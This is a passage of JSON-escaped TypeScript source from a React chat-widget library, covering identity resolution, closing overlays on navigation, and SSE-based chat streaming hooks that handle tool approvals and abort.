null;\n  attachmentsEnabled: boolean;\n  /** Server-resolved display identity. `null` for anon. Read by the\n   *  chat panel for the greeting first-name — embedders DON'T pass\n   *  user info into the runtime; server is the single source of truth\n   *  so the displayed name always matches the auth tier.\n   *\n   *  All sub-fields are optional and may be `null`. Consumers MUST\n   *  treat missing values as \"use empty string and skip the affected\n   *  UI line\" — never substitute a placeholder. */\n  user: {\n    name: string | null;\n    email: string | null;\n    /** Optional first name supplied by the identity webservice.\n     *  When set, the chat greeting renders `Hey ${firstName}, I'm Mingo`.\n     *  When absent (null/undefined/empty), the greeting falls back to\n     *  the no-name variant `Hey, I'm Mingo`. */\n    firstName?: string | null;\n    /** Optional last name. Currently unused by chat UI; surfaced for\n     *  embedders that want to display the full name elsewhere. */\n    lastName?: string | null;\n    /** Optional avatar URL. Validated as https:// server-side. */\n    avatarUrl?: string | null;\n  } | null;\n}\n\n/** Shape returned by the hook. NEVER throws — loading + error fall\n *  back to anon defaults so consumers can always render synchronously. */\nexport interface ChatIdentitySurface extends ChatIdentityResponse {\n  /** True while the query is in-flight on first mount; consumers that\n   *  show a skeleton spinner can read this. */\n  isLoading: boolean;\n}\n\nconst ANON_DEFAULTS: ChatIdentityResponse = {\n  authTier: 'anon',\n  source: null,\n  attachmentsEnabled: false,\n  user: null,\n};\n\n/**\n * Internal resolver — the actual fetch-into-state loop (plain\n * `useEffect` + `useState`, the no-cache contract above). Shared by the\n * standalone `useChatIdentity` hook AND `ChatIdentityProvider`.\n *\n * `enabled === false` short-circuits the fetch. `useChatIdentity` passes\n * `enabled = false` whenever a `ChatIdentityProvider` is already resolving\n * identity above it, so the consumer reads the provider's single resolution\n * instead of issuing the duplicate request we're eliminating. The resolver\n * is still called unconditionally (Rules of Hooks); only its effect bails.\n */\nfunction useResolveChatIdentity(enabled: boolean): ChatIdentitySurface {\n  const runtime = useRequiredChatRuntime();\n  const url = runtime.endpoints.identityUrl;\n  // `getEmbedProxyAuth()` reads localStorage every render. If the user\n  // pastes bearer creds mid-session (via the `/debug` creds bar),\n  // their email arrives here and the effect's dep changes → refetch.\n  const proxyEmail = getEmbedProxyAuth()?.email ?? null;\n\n  // The resolution carries the request it answers, which is what makes\n  // `isLoading` DERIVABLE: \"enabled, and the current request has no answer yet\".\n  // Only \"loading\" if THIS instance will actually fetch — a disabled consumer\n  // (provider present) is never loading, its value comes from context, not from\n  // this idle resolver. Deriving it also means credential rotation shows the\n  // loading state in the SAME render that changed `proxyEmail`, instead of\n  // flashing the previous user's identity for one commit while the effect\n  // catches up.\n  const requestKey = enabled ? `${url}\u0000${proxyEmail ?? ''}` : null;\n  const [resolved, setResolved] = useState<{ key: string; data: ChatIdentityResponse } | null>(null);\n  const data = resolved?.key === requestKey ? resolved.data : ANON_DEFAULTS;\n  const isLoading = requestKey !== null && resolved?.key !== requestKey;\n\n  useEffect(() => {\n    if (requestKey === null) return undefined;\n    let cancelled = false;\n    const ctrl = new AbortController();\n\n    embedAuthedFetch(url, { signal: ctrl.signal })\n      .then(async resp => {\n        if (!resp.ok) return ANON_DEFAULTS;\n        return (await resp.json()) as ChatIdentityResponse;\n      })\n      .then(next => {\n        if (cancelled) return;\n        setResolved({ key: requestKey, data: next });\n      })\n      .catch((err: unknown) => {\n        // AbortError on unmount is expected; everything else falls\n        // back to anon defaults so the UI stays consistent.\n        // Probed as a property rather than `instanceof Error`: fetch aborts\n        // reject with a DOMException, which is not an Error subclass in\n        // every runtime this lib is built for.\n        if (cancelled) return;\n        const isAbort = typeof err === 'object' && err !== null && 'name' in err && err.name === 'AbortError';\n        if (!isAbort) {\n          console.warn('[useChatIdentity] fetch failed, falling back to anon:', err);\n        }\n        // Answer the request with the anon defaults rather than leaving it\n        // unanswered: `isLoading` is derived from \"this request has no answer\",\n        // so a silent failure would otherwise spin forever.\n        setResolved({ key: requestKey, data: ANON_DEFAULTS });\n      });\n\n    return () => {\n      cancelled = true;\n      ctrl.abort();\n    };\n    // `requestKey` folds in `url` + `proxyEmail` + `enabled`: it changes the\n    // moment the user pastes creds (or rotates them) and triggers a re-render,\n    // which is exactly when this must refetch. `url` stays listed because the\n    // request itself reads it.\n  }, [requestKey, url]);\n\n  return { ...data, isLoading };\n}\n\n/**\n * Optional shared-identity context. When a `<ChatIdentityProvider>` is\n * mounted above, every `useChatIdentity()` in the subtree reads this ONE\n * resolution. `null` (no provider) → consumers self-resolve, which is the\n * default and exactly what the hub does today (unchanged).\n */\nconst ChatIdentityContext = createContext<ChatIdentitySurface | null>(null);\n\n/**\n * Opt-in identity provider. Resolves the identity capability bag ONCE for\n * its whole subtree and shares it via context.\n *\n * This is the \"drill from a parent\" pattern (above) lifted to a provider —\n * so INDEPENDENT surfaces in different React subtrees (a persistent chat\n * widget in the app shell + a tickets page in the router outlet) share a\n * single `/identity` resolution instead of each fetching their own. It is\n * NOT the reverted client cache: just one lifted `useState`/`useEffect`\n * (the same resolver the standalone hook uses), so it still refetches on\n * credential rotation (`proxyEmail`) and never persists stale identity.\n *\n * Mount once near the embed root, INSIDE your `ChatRuntimeContext.Provider`\n * (the resolver reads `runtime.endpoints.identityUrl`). Omit it and every\n * `useChatIdentity()` self-fetches as before.\n */\nexport function ChatIdentityProvider({\n  children,\n  enabled = true,\n}: {\n  children: ReactNode;\n  /** Defer the identity fetch until the host opts in (e.g. only once the chat\n   *  drawer is first opened). While `false`, the provider supplies the anon\n   *  defaults and issues NO request — so a persistent provider mounted in the\n   *  app shell doesn't hit `/auth/identity` on every page while the chat is\n   *  closed. Defaults to `true` so existing mounts are unchanged. */\n  enabled?: boolean;\n}) {\n  const identity = useResolveChatIdentity(enabled);\n  // `createElement` (not JSX) keeps this module a `.ts` file alongside the\n  // hook + response types — no `.tsx` rename, no orphaned doc sidecar.\n  return createElement(ChatIdentityContext.Provider, { value: identity }, children);\n}\n\n/**\n * @param enabled Whether a SELF-resolution may fetch. `false` returns the anon\n *   defaults without issuing a request — for a consumer that is mounted\n *   unconditionally but only does its job behind a flag (see\n *   `TicketLiveProvider`), so being mounted costs nothing while it is off. It\n *   has no effect when a `<ChatIdentityProvider>` is above: that resolution is\n *   already shared and paid for, and the provider has its own `enabled`.\n */\nexport function useChatIdentity(enabled: boolean = true): ChatIdentitySurface {\n  // Read a provider's shared resolution when present; otherwise self-resolve.\n  // The resolver is ALWAYS called (Rules of Hooks) but its fetch is disabled\n  // when a provider supplies identity, so there is no duplicate request — the\n  // provider's value wins.\n  const provided = useContext(ChatIdentityContext);\n  const selfResolved = useResolveChatIdentity(provided === null && enabled);\n  return provided ?? selfResolved;\n}\n","'use client';\n\n/**\n * Close a layout-mounted overlay when the URL pathname changes.\n *\n * Why this exists\n * ---------------\n * Modals, drawers, dropdowns, and side panels rendered in the ROOT LAYOUT\n * (siblings of `{children}` in `app/layout.tsx`) DO NOT unmount across\n * same-platform route changes. Their internal `isOpen` state survives every\n * navigation. Most of these overlays apply body-level styles while open —\n * `<body style=\"pointer-events: none; overflow: hidden\">` via Radix's\n * `@radix-ui/react-remove-scroll`, or direct `document.body.style` writes —\n * to lock scroll behind the overlay.\n *\n * If a navigation fires while one of these overlays is open, the body\n * styles stay locked under the new page → unscrollable page, un-clickable\n * floating buttons (`<body>` descendants get `pointer-events:none`\n * inherited), or stale visible backdrops blocking clicks underneath.\n *\n * This hook closes the overlay automatically when the pathname changes,\n * which triggers the overlay's normal close flow (Radix transition,\n * useEffect cleanup, motion exit) → body styles get cleaned up correctly.\n *\n * Skip-first-render semantics\n * ---------------------------\n * The hook only fires `close()` on a REAL pathname change. The very first\n * render after mount has no \"previous pathname\" to compare against — we\n * track it with a ref and skip the initial call. Without this guard the\n * hook would always invoke `close()` on mount, which is a no-op when the\n * overlay is already closed but masks bugs where `isOpen` defaults to\n * `true` (legitimate UX in some flows).\n *\n * Usage\n * -----\n * The lib version is router-agnostic — the caller threads the current\n * pathname so the hook works under any router (Next.js `usePathname`,\n * react-router `useLocation`, or a vanilla `window.location.pathname`\n * subscription). Hub callers wrap this hook to bind `usePathname()`\n * from `next/navigation`.\n *\n *   // Lib (direct):\n *   useCloseOnNavigation(() => setIsOpen(false), pathname)\n *\n *   // Hub wrapper:\n *   export function useCloseOnNavigation(close: () => void) {\n *     return libUseCloseOnNavigation(close, usePathname())\n *   }\n *\n * Do NOT call this from page-level components — those unmount on\n * navigation already and the close fires for free via the normal\n * useEffect cleanup pattern. This is for the persistent layout shell.\n */\n\nimport { useEffect, useRef } from 'react';\n\nexport function useCloseOnNavigation(close: () => void, pathname: string | null): void {\n  const prevPathnameRef = useRef<string | null>(null);\n  // Track whether we've seen the first render. Using a ref instead of\n  // a `null` sentinel on prevPathnameRef so callers passing `null` as\n  // a legitimate pathname value (server-side / pre-route-resolve) don't\n  // get the first-render skip retriggered every time pathname rebinds\n  // to null.\n  const initializedRef = useRef(false);\n  // Latest `close` without making it a dependency: the effect must fire on a\n  // pathname change and NOTHING else, but it must still call the current\n  // callback rather than the one captured on mount.\n  const closeRef = useRef(close);\n  useEffect(() => {\n    closeRef.current = close;\n  });\n\n  useEffect(() => {\n    // First render: just record the starting pathname, do NOT close.\n    if (!initializedRef.current) {\n      initializedRef.current = true;\n      prevPathnameRef.current = pathname;\n      return;\n    }\n    // Subsequent renders: fire close ONLY on a real pathname change.\n    if (prevPathnameRef.current !== pathname) {\n      prevPathnameRef.current = pathname;\n      closeRef.current();\n    }\n  }, [pathname]);\n}\n","'use client';\n\n/**\n * @deprecated Phase 3 of the chat unification moved the SSE adapter off this\n * hook — its trailing-assistant merge + `decision_resolved` receipt path now\n * live in `../stream/chat-stream-reducer` (transport: 'sse'). No lib-internal\n * code consumes `useChat`/`useSSE` anymore; they remain exported for external\n * consumers until Phase 4 migrates them, then get deleted (Phase 6).\n */\n\nimport { useState, useCallback, useEffect, useRef } from 'react';\nimport type { ApprovalRequestSegment, Message, MessageSegment, ToolExecutionData } from '../types/message.types';\nimport { useSSE, type StreamFn, type StreamFnExtraOptions } from './use-sse';\n\nexport type { Message } from '../types/message.types';\nexport type { StreamFnExtraOptions } from './use-sse';\n\ninterface UseChatOptions {\n  useMock?: boolean;\n  debugMode?: boolean;\n  assistantName?: string;\n  assistantAvatar?: string;\n  /** Custom stream function — bypasses mock/SSE service when provided */\n  streamFn?: StreamFn;\n  /** Initial messages (e.g., restored from localStorage). Evaluated once on mount. */\n  initialMessages?: Message[];\n  /** Called whenever the messages array changes — use for persistence. */\n  onMessagesChange?: (messages: Message[]) => void;\n}\n\nfunction isToolSegment(segment: MessageSegment): segment is { type: 'tool_execution'; data: ToolExecutionData } {\n  return segment.type === 'tool_execution';\n}\n\n/**\n * Control frame emitted by `/api/chat/agent/confirm-tool` on the same SSE\n * stream as the renderable segments. NOT a `MessageSegment` — it is consumed\n * by the loop below (status flip + receipt append) and never stored on a\n * message, so it deliberately stays out of the `MessageSegment` union.\n */\ninterface DecisionResolvedFrame {\n  type: 'decision_resolved';\n  proposalId?: string;\n  action: 'approved' | 'rejected';\n  ok: boolean;\n  toolName?: string;\n  result?: { ticket_id?: string; status?: string | null };\n  /** Server-rendered receipt copy. Computed by the per-source\n   *  `strategy.tools.receiptRenderer(...)`. */\n  receiptText?: string;\n  /** True when the server WILL stream an auto-continuation Sonnet turn\n   *  after this frame. */\n  willAutoContinue?: boolean;\n}\n\n/** Widen a streamed segment to the frames the stream ACTUALLY carries —\n *  `StreamFn`'s declared yield type covers only the renderable ones. */\nfunction asStreamFrame(segment: MessageSegment): MessageSegment | DecisionResolvedFrame {\n  return segment;\n}\n\nexport function useChat({\n  useMock = true,\n  debugMode = false,\n  assistantName = 'Fae',\n  assistantAvatar,\n  streamFn,\n  initialMessages,\n  onMessagesChange,\n}: UseChatOptions = {}) {\n  const [messages, setMessages] = useState<Message[]>(() => initialMessages ?? []);\n  const [isTyping, setIsTyping] = useState(false);\n  const currentAssistantSegmentsRef = useRef<MessageSegment[]>([]);\n\n  // Notify the host whenever messages change so it can persist them.\n  // Republished in an unconditional effect declared BEFORE the notifier, so it\n  // is refreshed first in the same flush. Writing it in the render body would\n  // install a callback from a render attempt React may have discarded.\n  const onMessagesChangeRef = useRef(onMessagesChange);\n  useEffect(() => {\n    onMessagesChangeRef.current = onMessagesChange;\n  });\n  useEffect(() => {\n    onMessagesChangeRef.current?.(messages);\n  }, [messages]);\n\n  const {\n    streamMessage,\n    isStreaming,\n    error: sseError,\n    abort,\n    reset,\n  } = useSSE({\n    useMock,\n    debugMode,\n    streamFn,\n  });\n\n  const addMessage = useCallback((message: Message) => {\n    setMessages(prev => [...prev, message]);\n  }, []);\n\n  const updateLastAssistantMessage = useCallback((segments: MessageSegment[]) => {\n    setMessages(prev => {\n      const newMessages = [...prev];\n      const lastMessage = newMessages[newMessages.length - 1];\n      if (lastMessage && lastMessage.role === 'assistant') {\n        newMessages[newMessages.length - 1] = {\n          ...lastMessage,\n          content: segments.length > 0 ? segments : '',\n        };\n      }\n      return newMessages;\n    });\n  }, []);\n\n  const sendMessage = useCallback(\n    async (\n      text: string,\n      extra?: StreamFnExtraOptions,\n      /** When `hidden=true` the user message is added to the conversation\n       *  history (so the LLM sees it as context) but NOT rendered in the\n       *  UI. Used by the host to fire post-approval auto-continuation\n       *  turns without polluting the visible thread with synthetic\n       *  prompts like \"(continue per protocol)\". The assistant response\n       *  IS rendered normally. */\n      options?: { hidden?: boolean },\n    ) => {\n      const userMessage: Message = {\n        id: `user-${Date.now()}`,\n        role: 'user',\n        name: 'You',\n        content: text,\n        timestamp: new Date(),\n        ...(options?.hidden ? { hidden: true } : {}),\n      };\n      addMessage(userMessage);\n\n      setIsTyping(true);\n      currentAssistantSegmentsRef.current = [];\n\n      const assistantMessage: Message = {\n        id: `assistant-${Date.now()}`,\n        role: 'assistant',\n        name: assistantName,\n        content: [],\n        timestamp: new Date(),\n        avatar: assistantAvatar,\n      };\n      addMessage(assistantMessage);\n\n      try {\n        let receivedFirstTextChunk = false;\n        let currentTextSegment = '';\n\n        for await (const rawSegment of streamMessage(text, extra)) {\n          // The stream also carries CONTROL frames that are not renderable\n          // segments (`decision_resolved` from\n          // `/api/chat/agent/confirm-tool`). Widening once here lets the\n          // dispatch below discriminate on `type` without casts; control\n          // frames are consumed and never pushed into a message.\n          const segment = asStreamFrame(rawSegment);\n          // Flip isTyping=false ONLY when the first TEXT segment arrives — NOT\n          // on a leading thinking-delta. Reason: <ThinkingDisplay> computes\n          // `isStreaming = (index === segments.length - 1 && isTyping)` and\n          // switches its label \"Thinking\" → \"Thought\" + drops PulseDots when\n          // isStreaming is false. If we flipped isTyping on the first thinking\n          // delta, the very first thinking chunk would render as \"Thought\"\n          // even while the model is still actively thinking. Holding isTyping\n          // true until real text starts keeps the live \"Thinking…\" UX correct.\n          if (!receivedFirstTextChunk && segment.type === 'text') {\n            setIsTyping(false);\n            receivedFirstTextChunk = true;\n          }\n\n          if (segment.type === 'text') {\n            currentTextSegment += segment.text;\n            const updatedSegments = [...currentAssistantSegmentsRef.current];\n\n            if (updatedSegments.length > 0 && updatedSegments[updatedSegments.length - 1].type === 'text') {\n              updatedSegments[updatedSegments.length - 1] = {\n                type: 'text',\n                text: currentTextSegment,\n              };\n            } else {\n              updatedSegments.push({ type: 'text', text: currentTextSegment });\n            }\n\n            currentAssistantSegmentsRef.current = updatedSegments;\n            updateLastAssistantMessage(updatedSegments);\n          } else if (segment.type === 'thinking') {\n            // Adaptive-thinking content from the model. Stash as a single\n            // 'thinking' segment at the front of the message; if the segment\n            // already exists (server flushed thinking in chunks via the\n            // leading-frame loop), replace its text. Order matters: thinking\n            // ALWAYS precedes the answer text so the OSS-lib renders the\n            // ThinkingDisplay card above the answer body.\n            const updatedSegments = [...currentAssistantSegmentsRef.current];\n            const existingThinkingIdx = updatedSegments.findIndex(s => s.type === 'thinking');\n            if (existingThinkingIdx !== -1) {\n              updatedSegments[existingThinkingIdx] = {\n                type: 'thinking',\n                text: segment.text,\n              };\n            } else {\n              // Insert at the FRONT so it renders before any text accumulated.\n              updatedSegments.unshift({ type: 'thinking', text: segment.text });\n            }\n            currentAssistantSegmentsRef.current = updatedSegments;\n            updateLastAssistantMessage(updatedSegments);\n          } else if (segment.type === 'approval_request') {\n            // Tool proposal from the server. The streamFn pre-wired\n            // `onApprove`/`onReject` so they POST to\n            // `/api/chat/agent/confirm-tool` with the same proxy auth the\n            // chat stream used. Here we (1) flip the card's `status` from\n            // pending → approved/rejected after the network round-trip,\n            // and (2) append a follow-up TEXT segment so the user sees a\n            // concrete confirmation of what happened.\n            if (currentTextSegment) {\n              const updated = [...currentAssistantSegmentsRef.current];\n              if (updated.length > 0 && updated[updated.length - 1].type === 'text') {\n                updated[updated.length - 1] = { type: 'text', text: currentTextSegment };\n              } else {\n                updated.push({ type: 'text', text: currentTextSegment });\n              }\n              currentAssistantSegmentsRef.current = updated;\n              currentTextSegment = '';\n            }\n            const seg = segment;\n            // Server-driven post-approve flow: wrappedApprove/Reject just\n            // fire a new chat turn with `approvalAction` set. The streamFn\n            // routes that turn to `/api/chat/agent/confirm-tool` which\n            // returns SSE — its `decision_resolved` leading frame lands\n            // back as a `type: 'decision_resolved'` segment in this same\n            // loop, where the handler below matches it back to this\n            // approval card via `requestId` and applies status flip +\n            // receipt append. NO client-side orchestration.\n            const wrappedApprove = async (reqId?: string) => {\n              if (!reqId) return;\n              await sendMessage('', { approvalAction: { proposalId: reqId, action: 'approve' } }, { hidden: true });\n            };\n            const wrappedReject = async (reqId?: string) => {\n              if (!reqId) return;\n              await sendMessage('', { approvalAction: { proposalId: reqId, action: 'reject' } }, { hidden: true });\n            };\n            currentAssistantSegmentsRef.current.push({\n              ...seg,\n              onApprove: wrappedApprove,\n              onReject: wrappedReject,\n            });\n            updateLastAssistantMessage([...currentAssistantSegmentsRef.current]);\n          } else if (segment.type === 'decision_resolved') {\n            // Server-driven decision frame from /api/chat/agent/confirm-tool.\n            //\n            // Two side-effects:\n            //\n            //   1. SOURCE message (the one carrying the approval card):\n            //      flip the matched approval_request segment's status to\n            //      'approved'/'rejected'.\n            //\n            //   2. CURRENT (new) assistant message: prepend the receipt\n            //      (\"✅ Approved — ticket created: <card>\" etc.) into\n            //      `currentTextSegment`. Subsequent auto-continuation\n            //      text deltas extend the same segment.\n            //\n            // For reject, no auto-continuation text follows — the new\n            // turn carries only the receipt.\n            const decision = segment;\n            if (!decision.proposalId) continue;\n            // Step 1 — flip the source card's status.\n            //\n            // Goes through `setMessages` and locates the host message by\n            // `requestId` — INDEPENDENT of `currentAssistantSegmentsRef`,\n            // which the SSE `finally` resets to `[]` the moment the stream\n            // ends. Mutating the ref and re-rendering from its (empty)\n            // snapshot would wipe the assistant message's content the instant\n            // the user clicks Approve.\n            setMessages(prev => {\n              for (let i = prev.length - 1; i >= 0; i--) {\n                const m = prev[i];\n                if (m.role !== 'assistant') continue;\n                if (!Array.isArray(m.content)) continue;\n                const segments = m.content;\n                const isMatch = (s: MessageSegment): s is ApprovalRequestSegment =>\n                  s.type === 'approval_request' && s.data.requestId === decision.proposalId;\n                const hasMatch = segments.some(isMatch);\n                if (!hasMatch) continue;\n                const flipped = segments.map(s => (isMatch(s) ? { ...s, status: decision.action } : s));\n                const next = [...prev];\n                next[i] = { ...m, content: flipped };\n                return next;\n              }\n              return prev;\n            });\n            // Step 2 — receipt text into the CURRENT message.\n            // SERVER-RENDERED. The per-source strategy\n            // (`strategy.tools.receiptRenderer(...)`) computed the copy\n            // and shipped it on the SSE frame as `receiptText`. The\n            // chat-shell is source-agnostic — it just appends the string.\n            const receipt = decision.receiptText ?? null;\n            if (receipt === null) {\n              // No server-provided copy → don't fabricate a fallback.\n              continue;\n            }\n            currentTextSegment = receipt + '\\n\\n';\n            const updatedSegments = [...currentAssistantSegmentsRef.current];\n            if (updatedSegments.length > 0 && updatedSegments[updatedSegments.length - 1].type === 'text') {\n              updatedSegments[updatedSegments.length - 1] = {\n                type: 'text',\n                text: currentTextSegment,\n              };\n            } else {\n              updatedSegments.push({ type: 'text', text: currentTextSegment });\n            }\n            currentAssistantSegmentsRef.current = updatedSegments;\n            // The receipt's `[card://<type>:<id>]` marker resolves via the\n            // card fetch path (hydrate-by-id) — no ref stamping needed.\n            updateLastAssistantMessage(updatedSegments);\n          } else if (segment.type === 'tool_execution') {\n            if (currentTextSegment) {\n              const updatedSegments = [...currentAssistantSegmentsRef.current];\n\n              if (updatedSegments.length > 0 && updatedSegments[updatedSegments.length - 1].type === 'text') {\n                updatedSegments[updatedSegments.length - 1] = {\n                  type: 'text',\n                  text: currentTextSegment,\n                };\n              } else {\n                updatedSegments.push({ type: 'text', text: currentTextSegment });\n              }\n\n              currentAssistantSegmentsRef.current = updatedSegments;\n              currentTextSegment = '';\n            }\n\n            const existingToolIndex = currentAssistantSegmentsRef.current.findIndex(\n              (s): s is { type: 'tool_execution'; data: ToolExecutionData } =>\n                isToolSegment(s) &&\n                s.data.type === 'EXECUTING_TOOL' &&\n                s.data.integratedToolType === segment.data.integratedToolType &&\n                s.data.toolFunction === segment.data.toolFunction,\n            );\n\n            if (existingToolIndex !== -1 && segment.data.type === 'EXECUTED_TOOL') {\n              const existingTool = currentAssistantSegmentsRef.current[existingToolIndex] as {\n                type: 'tool_execution';\n                data: ToolExecutionData;\n              };\n              currentAssistantSegmentsRef.current[existingToolIndex] = {\n                ...segment,\n                data: {\n                  ...segment.data,\n                  parameters: segment.data.parameters || existingTool.data.parameters,\n                },\n              };\n            } else {\n              currentAssistantSegmentsRef.current.push(segment);\n            }\n\n            updateLastAssistantMessage([...currentAssistantSegmentsRef.current]);\n          }\n        }\n      } catch (err) {\n        const errorMessage: Message = {\n          id: `error-${Date.now()}`,\n          role: 'error',\n          content: err instanceof Error ? err.message : 'An error occurred while processing your request.',\n          timestamp: new Date(),\n        };\n        setMessages(prev => [...prev.slice(0, -1), errorMessage]);\n      } finally {\n        setIsTyping(false);\n        // Reject-path on confirm-tool emits ONLY a `decision_resolved`\n        // leading frame and closes — no text segments stream in, so the\n        // placeholder assistant message added by addMessage above would\n        // render as a blank bubble. Remove the trailing assistant message\n        // if it still has no segments.\n        const trailingIsEmpty =\n          Array.isArray(currentAssistantSegmentsRef.current) && currentAssistantSegmentsRef.current.length === 0;\n        if (trailingIsEmpty) {\n          setMessages(prev => {\n            if (prev.length === 0) return prev;\n            const last = prev[prev.length - 1];\n            if (last.role !== 'assistant') return prev;\n            if (Array.isArray(last.content) && last.content.length > 0) return prev;\n            if (typeof last.content === 'string' && last.content.length > 0) return prev;\n            return prev.slice(0, -1);\n          });\n        }\n        currentAssistantSegmentsRef.current = [];\n      }\n    },\n    [streamMessage, addMessage, updateLastAssistantMessage, assistantName, assistantAvatar],\n  );\n\n  const handleQuickAction = useCallback(\n    (actionText: string) => {\n      // `sendMessage` never rejects — it renders failures as an `error` row.\n      void sendMessage(actionText);\n    },\n    [sendMessage],\n  );\n\n  const clearMessages = useCallback(() => {\n    setMessages([]);\n    setIsTyping(false);\n    reset();\n  }, [reset]);\n\n  /**\n   * Replace-or-prepend server-hydrated history. Called once by the SSE\n   * adapter after `GET /api/docs/chat/history` resolves. If the user already\n   * sent a message before hydration landed, the fetched history is PREPENDED\n   * so nothing typed is lost — correctness is unaffected either way because\n   * the server resolves LLM history from its own store, not from this state.\n   */\n  const hydrateMessages = useCallback((history: Message[]) => {\n    setMessages(prev => (prev.length === 0 ? history : [...history, ...prev]));\n  }, []);\n\n  /**\n   * Abort the in-flight streamed message. The fetch's AbortSignal terminates\n   * the upstream Anthropic request (so billing stops); the `for await` loop\n   * inside `sendMessage` exits via `useSSE`'s AbortError handling, leaving\n   * the partial assistant response visible to the user.\n   */\n  const stopMessage = useCallback(() => {\n    abort();\n    setIsTyping(false);\n  }, [abort]);\n\n  return {\n    messages,\n    isTyping,\n    isStreaming,\n    error: sseError,\n    sendMessage,\n    stopMessage,\n    handleQuickAction,\n    clearMessages,\n    hydrateMessages,\n    hasMessages: messages.length > 0,\n  };\n}\n","'use client';\n\nimport { useState, useCallback, useRef } from 'react';\nimport type { MessageSegment } from '../types/message.types';\nimport type { ChatAttachment } from '../utils/chat-attachment-markdown';\nimport type { WireCommandOverride } from '../utils/slash-dispatch-utils';\n\n/**\n * Stream function signature. The optional `signal` is created fresh per\n * `streamMessage` call so the underlying fetch can be aborted cleanly when\n * the user clicks Stop. Without the signal, abort would only stop yielding\n * chunks at the iterator boundary while the upstream Anthropic request\n * continued running (and billing).\n *\n * `extraOptions` carries per-call extras (currently `commandOverride` for\n * the inline-card \"Discuss\" affordance per v6.1 §B.2.8). Kept generic so\n * future per-call wire fields don't bloat the signature.\n */\nexport interface StreamFnExtraOptions {\n  commandOverride?: WireCommandOverride;\n  /** Out-of-band signal for the post-approval / post-reject\n   *  server-driven turn. When set, the streamFn routes to\n   *  `/api/chat/agent/confirm-tool` instead of `/api/docs/chat` and\n   *  encodes the action on the request body. The server emits a\n   *  `decision_resolved` leading frame that the chat-shell uses to\n   *  flip the SOURCE approval card (different assistant message than\n   *  the one being streamed into), then — on approve + write tool —\n   *  pipes the auto-continuation Sonnet response as standard chat SSE\n   *  frames into a NEW assistant turn. The CLIENT does not orchestrate\n   *  the auto-continuation; it just renders frames. */\n  approvalAction?: {\n    proposalId: string;\n    action: 'approve' | 'reject';\n  };\n  /** Chat-attachment payload riding alongside the user's text — the\n   *  staged attachments produced by `useChatAttachments`. Server-side,\n   *  `runDocsChat` strips the embedded `/api/storage/view/chat-attachments/...`\n   *  markdown lines from the user's text and replaces them with\n   *  Anthropic image content blocks (raw signed URLs).\n   *\n   *  Wire format: `storagePath` + `viewToken` only — NEVER a `url`\n   *  field. Server validates against `ChatAttachmentSchema` and rejects\n   *  malformed shapes. */\n  pendingAttachments?: ChatAttachment[];\n}\nexport type StreamFn = (\n  message: string,\n  signal?: AbortSignal,\n  extra?: StreamFnExtraOptions,\n) => AsyncGenerator<MessageSegment>;\n\ninterface UseSSEOptions {\n  useMock?: boolean;\n  debugMode?: boolean;\n  /** Custom stream function — when provided, bypasses the mock fallback */\n  streamFn?: StreamFn;\n}\n\nexport function useSSE({ streamFn }: UseSSEOptions = {}) {\n  const [isStreaming, setIsStreaming] = useState(false);\n  const [error, setError] = useState<string | null>(null);\n  const abortControllerRef = useRef<AbortController | null>(null);\n\n  const streamMessage = useCallback(\n    async function* (message: string, extra?: StreamFnExtraOptions): AsyncGenerator<MessageSegment> {\n      setIsStreaming(true);\n      setError(null);\n\n      // Create a fresh AbortController for this stream. abort() targets it via\n      // the ref; the signal is passed THROUGH to streamFn so the underlying\n      // fetch (and Anthropic upstream) terminates on Stop.\n      const ctrl = new AbortController();\n      abortControllerRef.current = ctrl;\n\n      try {\n        // Lib-side mock fallback — useDocChat ALWAYS sets `useMock: false`,\n        // so this path is unreachable in production usage. Kept as a clear\n        // error so any future caller that flips `useMock: true` without\n        // providing a `streamFn` gets a loud signal instead of a silent\n        // misroute. Hub-side wrappers that need the mock can supply their\n        // own streamFn from a MockChatService.\n        if (!streamFn) {\n          throw new Error(\n            '[useSSE] No streamFn provided and `useMock: true` is no longer wired into the lib. ' +\n              'Supply a `streamFn` (see `createDocStreamFn` in use-embedded-chat) or migrate the ' +\n              'mock to your host code.',\n          );\n        }\n        const generator = streamFn(message, ctrl.signal, extra);\n\n        for await (const chunk of generator) {\n          // Check if aborted\n          if (ctrl.signal.aborted) {\n            break;\n          }\n          yield chunk;\n        }\n      } catch (err) {\n        // AbortError on user-initiated stop is expected — surface as a no-error\n        // path so the consumer's catch doesn't render a red error message.\n        if ((err instanceof Error && err.name === 'AbortError') || ctrl.signal.aborted) {\n          return;\n        }\n        const errorMessage = err instanceof Error ? err.message : 'An error occurred';\n        setError(errorMessage);\n        throw err;\n      } finally {\n        setIsStreaming(false);\n        // Only clear the ref if it still points at this controller (defensive\n        // — a rapid send-stop-send sequence might have already replaced it).\n        if (abortControllerRef.current === ctrl) {\n          abortControllerRef.current = null;\n        }\n      }\n    },\n    [streamFn],\n  );\n\n  const abort = useCallback(() => {\n    if (abortControllerRef.current) {\n      abortControllerRef.current.abort();\n    }\n    setIsStreaming(false);\n  }, []);\n\n  const reset = useCallback(() => {\n    // Reset state if needed\n  }, []);\n\n  return {\n    streamMessage,\n    isStreaming,\n    error,\n    abort,\n    reset,\n  };\n}\n","'use client';\n\n/**\n * useSseChatAdapter — the SSE/Guide-mode transport adapter for the unified\n * chat surface. One of two `UnifiedChatState` implementations; its NATS\n * counterpart is `useNatsChatAdapter` (Mingo mode). The public\n * `useChat({ mode })` dispatches between them based on `mode.transport`.\n *\n * Phase 3 of the chat unification: the adapter no longer owns a parser or a\n * message-merge layer. Raw response bytes flow\n *\n *   fetch body → createSseFrameDecoder → ChatStreamEvent →\n *   createChatStreamReducer (transport: 'sse') — THE master reader\n *\n * The reducer absorbed `useChat`'s trailing-assistant merge, the\n * `decision_resolved` receipt path, and the sendIdx-keyed\n * sources/meta maps; this file keeps only the transport wiring\n * (fetch/abort, request-body building), the server-issued conversation-id\n * persistence (id ONLY — see below), the mount-time server-history\n * hydration seam, and the public `UnifiedChatState` mapping.\n *\n * Conversation identity + history (server SSOT):\n *\n *   - Conversation ids are SERVER-minted. The first send of a session goes\n *     out id-less; the server mints an id and echoes it in the leading\n *     metadata frame (surfaced by the decoder as\n *     `ChatMetadataEvent.conversationId`), and every later turn echoes it\n *     back in the request body.\n *   - localStorage stores ONLY that echoed id (`chat-conversation-storage`).\n *     Message history lives server-side in `chat_conversations` /\n *     `chat_messages` and is rebuilt on mount via `useChatHistoryHydration`,\n *     which materializes through the reducer (`initializeWithState` /\n *     `prependMessages` + `seedSseMaps`).\n *   - The wire carries ONLY the newest user message — never a replay of the\n *     client-side thread (the server re-reads `chat_messages` 